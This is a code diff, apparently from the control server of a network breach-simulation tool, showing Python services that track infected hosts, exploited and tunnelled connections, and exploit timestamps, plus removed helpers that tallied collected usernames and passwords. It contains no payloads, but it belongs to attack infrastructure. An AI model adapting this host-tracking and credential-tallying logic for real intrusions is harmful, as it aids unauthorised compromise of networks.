existing_ids = [x["_id"] for x in mongo.db.edge.find({"to": monkey["_id"]})]
|
||||
monkey_ids = [x["_id"] for x in mongo.db.monkey.find({})
|
||||
if ("tunnel" not in x) and (x["_id"] not in existing_ids)]
|
||||
edges = []
|
||||
|
||||
# We're using fake ids because the frontend graph module requires unique ids.
|
||||
# Collision with real id is improbable.
|
||||
count = 0
|
||||
for monkey_id in monkey_ids:
|
||||
count += 1
|
||||
edges.append(EdgeService.generate_pseudo_edge(
|
||||
ObjectId(hex(count)[2:].zfill(24)), monkey_id, monkey["_id"]))
|
||||
|
||||
return edges
|
||||
|
||||
@staticmethod
|
||||
def services_to_displayed_services(services):
|
||||
# TODO: Consider returning extended information on services.
|
||||
return [x + ": " + services[x]["name"] for x in services]
|
||||
|
||||
@staticmethod
|
||||
def edge_to_net_edge(edge):
|
||||
return \
|
||||
{
|
||||
"id": edge["_id"],
|
||||
"from": edge["from"],
|
||||
"to": edge["to"],
|
||||
"group": EdgeService.get_edge_group(edge)
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def get_edge_group(edge):
|
||||
if edge["exploited"]:
|
||||
return "exploited"
|
||||
if edge["tunnel"]:
|
||||
return "tunnel"
|
||||
if (len(edge["scans"]) > 0) or (len(edge["exploits"]) > 0):
|
||||
return "scan"
|
||||
return "empty"
|
||||
|
||||
@staticmethod
|
||||
def set_edge_exploited(edge):
|
||||
mongo.db.edge.update(
|
||||
{"_id": edge["_id"]},
|
||||
{"$set": {"exploited": True}}
|
||||
)
|
||||
|
||||
cc.services.node.NodeService.set_node_exploited(edge["to"])
|
||||
|
||||
|
|
|
@ -1,15 +1,20 @@
|
|||
from datetime import datetime
|
||||
from bson import ObjectId
|
||||
|
||||
from cc.database import mongo
|
||||
from cc.services.edge import EdgeService
|
||||
|
||||
from cc.utils import local_ip_addresses
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
||||
class NodeService:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_displayed_node_by_id(node_id):
|
||||
if ObjectId(node_id) == NodeService.get_monkey_island_pseudo_id():
|
||||
return NodeService.get_monkey_island_node()
|
||||
|
||||
edges = EdgeService.get_displayed_edges_by_to(node_id)
|
||||
accessible_from_nodes = []
|
||||
|
@ -17,31 +22,27 @@ class NodeService:
|
|||
|
||||
new_node = {"id": node_id}
|
||||
|
||||
node = mongo.db.node.find_one({"_id": ObjectId(node_id)})
|
||||
node = NodeService.get_node_by_id(node_id)
|
||||
if node is None:
|
||||
monkey = mongo.db.monkey.find_one({"_id": ObjectId(node_id)})
|
||||
monkey = NodeService.get_monkey_by_id(node_id)
|
||||
if monkey is None:
|
||||
return new_node
|
||||
|
||||
# node is infected
|
||||
new_node = NodeService.monkey_to_net_node(monkey)
|
||||
for key in monkey:
|
||||
# TODO: do something with tunnel
|
||||
if key not in ["_id", "modifytime", "parent", "tunnel", "tunnel_guid"]:
|
||||
if key not in ["_id", "modifytime", "parent", "dead", "config"]:
|
||||
new_node[key] = monkey[key]
|
||||
|
||||
new_node["os"] = NodeService.get_monkey_os(monkey)
|
||||
new_node["label"] = NodeService.get_monkey_label(monkey)
|
||||
new_node["group"] = NodeService.get_monkey_group(monkey)
|
||||
|
||||
else:
|
||||
# node is uninfected
|
||||
new_node = NodeService.node_to_net_node(node)
|
||||
new_node["ip_addresses"] = node["ip_addresses"]
|
||||
new_node["group"] = "clean"
|
||||
|
||||
for edge in edges:
|
||||
accessible_from_nodes.append({"id": edge["from"]})
|
||||
for exploit in edge["exploits"]:
|
||||
exploit["origin"] = edge["from"]
|
||||
exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
|
||||
exploits.append(exploit)
|
||||
|
||||
exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp)
|
||||
|
@ -50,19 +51,18 @@ class NodeService:
|
|||
new_node["accessible_from_nodes"] = accessible_from_nodes
|
||||
if len(edges) > 0:
|
||||
new_node["services"] = edges[-1]["services"]
|
||||
new_node["os"] = edges[-1]["os"]["type"]
|
||||
if "label" not in new_node:
|
||||
new_node["label"] = edges[-1]["os"]["version"] + " : " + node["ip_addresses"][0]
|
||||
|
||||
# TODO: add exploited by
|
||||
|
||||
return new_node
|
||||
|
||||
@staticmethod
|
||||
def get_node_label(node):
|
||||
return node["os"]["version"] + " : " + node["ip_addresses"][0]
|
||||
|
||||
@staticmethod
|
||||
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
||||
if exploit_1["timestamp"] == exploit_2["timestamp"]:
|
||||
if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]:
|
||||
return 0
|
||||
if exploit_1["timestamp"] > exploit_2["timestamp"]:
|
||||
if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]:
|
||||
return 1
|
||||
return -1
|
||||
|
||||
|
@ -86,12 +86,26 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def get_monkey_label(monkey):
|
||||
return monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
||||
label = monkey["hostname"] + " : " + monkey["ip_addresses"][0]
|
||||
ip_addresses = local_ip_addresses()
|
||||
if len(set(monkey["ip_addresses"]).intersection(ip_addresses)) > 0:
|
||||
label = "MonkeyIsland - " + label
|
||||
return label
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_group(monkey):
|
||||
if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0:
|
||||
return "islandInfected"
|
||||
|
||||
return "manuallyInfected" if NodeService.get_monkey_manual_run(monkey) else "infected"
|
||||
|
||||
@staticmethod
|
||||
def get_node_group(node):
|
||||
if node["exploited"]:
|
||||
return "exploited"
|
||||
else:
|
||||
return "clean"
|
||||
|
||||
@staticmethod
|
||||
def monkey_to_net_node(monkey):
|
||||
return \
|
||||
|
@ -105,26 +119,122 @@ class NodeService:
|
|||
|
||||
@staticmethod
|
||||
def node_to_net_node(node):
|
||||
os_version = "undefined"
|
||||
os_type = "undefined"
|
||||
found = False
|
||||
# TODO: Set this as data when received
|
||||
for edge in mongo.db.edge.find({"to": node["_id"]}):
|
||||
for scan in edge["scans"]:
|
||||
if scan["scanner"] != "TcpScanner":
|
||||
continue
|
||||
os_type = scan["data"]["os"]["type"]
|
||||
if "version" in scan["data"]["os"]:
|
||||
os_version = scan["data"]["os"]["version"]
|
||||
found = True
|
||||
break
|
||||
if found:
|
||||
break
|
||||
|
||||
return \
|
||||
{
|
||||
"id": node["_id"],
|
||||
"label": os_version + " : " + node["ip_addresses"][0],
|
||||
"group": "clean",
|
||||
"os": os_type
|
||||
"label": NodeService.get_node_label(node),
|
||||
"group": NodeService.get_node_group(node),
|
||||
"os": node["os"]["type"]
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def unset_all_monkey_tunnels(monkey_id):
|
||||
mongo.db.monkey.update(
|
||||
{"_id": monkey_id},
|
||||
{'$unset': {'tunnel': ''}},
|
||||
upsert=False)
|
||||
|
||||
mongo.db.edge.update(
|
||||
{"from": monkey_id, 'tunnel': True},
|
||||
{'$set': {'tunnel': False}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def set_monkey_tunnel(monkey_id, tunnel_host_id):
|
||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||
mongo.db.monkey.update(
|
||||
{"_id": monkey_id},
|
||||
{'$set': {'tunnel': tunnel_host_id}},
|
||||
upsert=False)
|
||||
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
|
||||
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
|
||||
{'$set': {'tunnel': True}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def insert_node(ip_address):
|
||||
new_node_insert_result = mongo.db.node.insert_one(
|
||||
{
|
||||
"ip_addresses": [ip_address],
|
||||
"exploited": False,
|
||||
"os":
|
||||
{
|
||||
"type": "unknown",
|
||||
"version": "unknown"
|
||||
}
|
||||
})
|
||||
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
|
||||
|
||||
@staticmethod
|
||||
def get_or_create_node(ip_address):
|
||||
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
|
||||
if new_node is None:
|
||||
new_node = NodeService.insert_node(ip_address)
|
||||
return new_node
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_by_id(monkey_id):
|
||||
return mongo.db.monkey.find_one({"_id": ObjectId(monkey_id)})
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_by_guid(monkey_guid):
|
||||
return mongo.db.monkey.find_one({"guid": monkey_guid})
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_by_ip(ip_address):
|
||||
return mongo.db.monkey.find_one({"ip_addresses": ip_address})
|
||||
|
||||
@staticmethod
|
||||
def get_node_by_ip(ip_address):
|
||||
return mongo.db.node.find_one({"ip_addresses": ip_address})
|
||||
|
||||
@staticmethod
|
||||
def get_node_by_id(node_id):
|
||||
return mongo.db.node.find_one({"_id": ObjectId(node_id)})
|
||||
|
||||
@staticmethod
|
||||
def update_monkey_modify_time(monkey_id):
|
||||
mongo.db.monkey.update({"_id": monkey_id},
|
||||
{"$set": {"modifytime": datetime.now()}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def set_monkey_dead(monkey, is_dead):
|
||||
mongo.db.monkey.update({"guid": monkey['guid']},
|
||||
{'$set': {'dead': is_dead}},
|
||||
upsert=False)
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_monkey():
|
||||
ip_addresses = local_ip_addresses()
|
||||
for ip_address in ip_addresses:
|
||||
monkey = NodeService.get_monkey_by_ip(ip_address)
|
||||
if monkey is not None:
|
||||
return monkey
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_pseudo_id():
|
||||
return ObjectId("000000000000000000000000")
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_pseudo_net_node():
|
||||
return\
|
||||
{
|
||||
"id": NodeService.get_monkey_island_pseudo_id(),
|
||||
"label": "MonkeyIsland",
|
||||
"group": "islandClean",
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_node():
|
||||
island_node = NodeService.get_monkey_island_pseudo_net_node()
|
||||
island_node["ip_addresses"] = local_ip_addresses()
|
||||
return island_node
|
||||
|
||||
@staticmethod
|
||||
def set_node_exploited(node_id):
|
||||
mongo.db.node.update(
|
||||
{"_id": node_id},
|
||||
{"$set": {"exploited": True}}
|
||||
)
|
||||
|
|
|
@ -11,36 +11,6 @@ from cc.database import mongo
|
|||
__author__ = 'Barak'
|
||||
|
||||
|
||||
# data structures
|
||||
|
||||
def creds_add_username(username):
|
||||
mongo.db.usernames.update(
|
||||
{'username': username},
|
||||
{'$inc': {'count': 1}},
|
||||
upsert=True
|
||||
)
|
||||
|
||||
|
||||
def creds_add_password(password):
|
||||
mongo.db.passwords.update(
|
||||
{'password': password},
|
||||
{'$inc': {'count': 1}},
|
||||
upsert=True
|
||||
)
|
||||
|
||||
|
||||
def init_collections(usernames, passwords):
|
||||
if "usernames" not in mongo.db.collection_names():
|
||||
mongo.db.usernames.create_index([("username", 1)], unique=True)
|
||||
for username in usernames:
|
||||
creds_add_username(username)
|
||||
|
||||
if "passwords" not in mongo.db.collection_names():
|
||||
mongo.db.passwords.create_index([("password", 1)], unique=True)
|
||||
for password in passwords:
|
||||
creds_add_password(password)
|
||||
|
||||
|
||||
# Local ips function
|
||||
if sys.platform == "win32":
|
||||
def local_ips():
|
||||
|
|
Loading…
Reference in New Issue